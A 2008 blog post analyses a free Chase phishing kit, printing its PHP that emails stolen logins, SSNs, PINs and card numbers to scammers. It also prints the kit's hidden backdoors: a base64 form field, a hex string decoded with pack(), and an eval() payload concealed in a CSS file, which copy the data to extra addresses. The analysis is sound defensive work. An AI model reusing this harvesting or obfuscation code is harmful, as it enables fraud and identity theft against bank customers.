blog
April 2, 2008
A few days ago, the news spread that ready-to-go scam kits targeting banks and other sensitive web sites were available for download. Nothing new here except for the fact that the kits were given away for free.
The reason for such generosity? Will see in a moment.
I've got my hands on some of the kits and I've analyzed one of them. This analysis is relative to the Chase scam kit (others seem similar at first sight) retrieved on 31/3/2008.
The scam kit is a collection of php, html, css, and image files that provide a phishing web site for JP Morgan Chase online banking. The kit collects username, password and personal information, such as credit card numbers and social security numbers. The collected information is sent back to the scammer via e-mail. At first sight, all a scammer has to do is modify one file in the kit to set the appropriate e-mail address and attract traffic to the phishing page.
The reality is bit different: a larger pool of people seem to benefit from the scammer's efforts. In other words, scammers are getting scammed by more clever scammers.
Let's see how this happens.
The file Mr-Brain.php contains the code to ship to information back to
the scammer. The code is:
3: $message = ... // phished information
...
39:
38: $send="scammer_forlife@yahoo.com";
39:
40: $subject = "Chase Bank ReZulT | $user | $ip";
41: $headers = "From: Mr-Brain<new@chase.com>";
42: $str=array($send, $IP); foreach ($str as $send) {
43: if(mail($send,$subject,$message,$headers) != false){
44: mail($Send,$subject,$message,$headers);
45: mail($messege,$subject,$message,$headers);
46: }
mail() is a standard PHP function that send an e-mail message to the
address specified in its first argument. Let's see how the kit uses this
code to distribute information to a number of addresses other than
scammer_forlife@yahoo.com.
In Mr-Brain.php, the email message is composed as follows:
$hostname = gethostbyaddr($ip);
$message = "---------------+ Chase Bank Spam ReZulT +-----------------\n";
$message .= "User ID : $user\n";
...
$messege .= "hostip";
$message .= "Full Name : $fullname\n";
...
$message .= "City : $city\n";
$messege .= "port";
$message .= "State : $state\n";
...
$message .= "Mother Maiden Name : $mmn\n";
$messege .= "@";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
...
$message .= "ATM PIN Code : $pin\n";
$messege .= "g";
$message .= "Credit Card Number: $cardnumber\n";
...
$message .= "CVV Number : $cvv\n";
$messege .= "mail";
$message .= "---------------------------------------------------\n";
...
$messege .= ".";
$message .= "Credit Card Number: $cardnumber\n";
...
$messege .= "com";
...
$message .= "----------------+ Created in 2008 By Mr-Brain +----------------\n";
Notice the mistyped $messege variable (instead of $message). Once
reconstructed the variable forms the e-mail address
hostipport@gmail.com. At line 45 it is used as the recipient of the
mail function. The trick uses the fact that PHP automatically
initializes undefined string variables (as $messege here) to the empty
string.
Inside the foreach loop of line 42, the variable $Send (notice the
capital letter) is different from the variable $send (all lowercase).
How is $Send initialized? In details.php, a form contains the hidden
parameter Send, whose value is set to:
<?=base64_decode("TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=");?>
which, once interpreted, gives the e-mail address Mr-Brain@Evil-Brain.Net.
The sending code loops over the contents of an array initialized with
the variables $send and $IP. What is $IP? In prospect.php,
the variable $IP is initialized to
pack("H*", substr($VARS=$erorr,strpos($VARS, "329")+3,46));
$erorr (again, misspelled to disguise it for the variable $error)
contains the contents of the file login.php. The substr() function
searches for 329 in login.php, finds it in the value argument of a
hidden parameter, and extracts the following 46 characters:
70696f6e6565722e627261696e40676d61696c2e636f6d
These are then massaged through the function pack() to give yet another
e-mail address: pioneer.brain@gmail.com
prospect.php contains the following interesting functions:
39: function clean($str){
40: $clean=create_function('$str','return '.gets("(1,",3,4).'($str);');
41: return $clean($str);
42: }
43: function getc($string){
44: return implode('', file($string));
45: }
46: function gets($a, $b, $c){
47: global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c);
48: }
49: function end_of_line(){
50: $end=gets("(2,",3,4); endline=$end(gets("(3,",3,2),getc(gets("(((",3,20)));
51: return $endline;
52: }
53: function geterrors(){
54: return clean(end_of_line());
55: }
The function geterrors() is called at the end of the file, right before
error checking is performed. Let's see what these functions are doing:
end_of_line: by matching for the pattern (2, on the details.php
file, it extracts the string pack. By pattern matching for (3, and
(((, it extracts the strings h* and images/style_002.css. These
pieces are composed to execute:
:::php pack('h*', file_get_contents('images/style_002.css'));
The file images/style_002.css apparently contains CSS data, except
for a section at the middle of the file that resembles a long
alphanumeric string. After applying pack() to it, it returns a long
string containing unprintable characters at the beginning and at the
end. The central section of images/style_002.css is instead
transformed into:
global $error;
if("$error" != "1"){
global $user;
global $pass;
global $fullname;
global $address;
global $city;
global $state;
global $zip;
global $email;
global $mmn;
global $bmonth;
global $bday;
global $byear;
global $ssn1;
global $ssn2;
global $ssn3;
global $pin;
global $cardnumber;
global $expmonth;
global $expyear;
global $cvv;
if (getenv(HTTP_CLIENT_IP)){
$iP=getenv(HTTP_CLIENT_IP);
} else {
$iP=getenv(REMOTE_ADDR);
}
$hostname = gethostbyaddr($iP);
$message = "--------------- Chase Bank Spam ReZulT -----------------\n";
$message .= "User ID : $user\n";
$message .= "Password : $pass\n\n";
$message .= "Full Name : $fullname\n";
$message .= "Address : $address\n";
$message .= "City : $city\n";
$message .= "State : $state\n";
$message .= "Zip Code : $zip\n";
$message .= "E-mail Address : $email\n\n";
$message .= "Mother Maiden Name : $mmn\n";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
$message .= "Social Security No : $ssn1-$ssn2-$ssn3\n";
$message .= "ATM PIN Code : $pin\n";
$message .= "Credit Card Number: $cardnumber\n";
$message .= "Expiration Date : $expmonth/$expyear [mm/yy]\n";
$message .= "CVV Number : $cvv\n";
$message .= "---------------------------------------------------\n";
$message .= "IP Address : $iP\n";
$message .= "HostName : $hostname\n";
$message .= "---------------- Created in 2008 By Mr-Brain ----------------\n";
$Brain="pamer@inbox.com,usa813@gmail.com";
$subject = "Chase Bank ReZulT";
$headers = "From: Mr-Brain<new@chase.com>";
mail($Brain,$subject,$message,$headers);
}
clean: by matching for the pattern (1, on the details.php file, it
extracts the string eval. It then creates and returns an anonymous
function that accepts a single parameter and applies eval() to
it.
geterrors: evaluates through eval the string returned by end_of_line().
Notice that eval ignores the extra junk at the beginning and end of
the string and happily executes the relevant content, thus sending the
phished information also to pamer@inbox.com and usa813@gmail.com.
To leave a comment, complete the form below. Mandatory fields are marked *.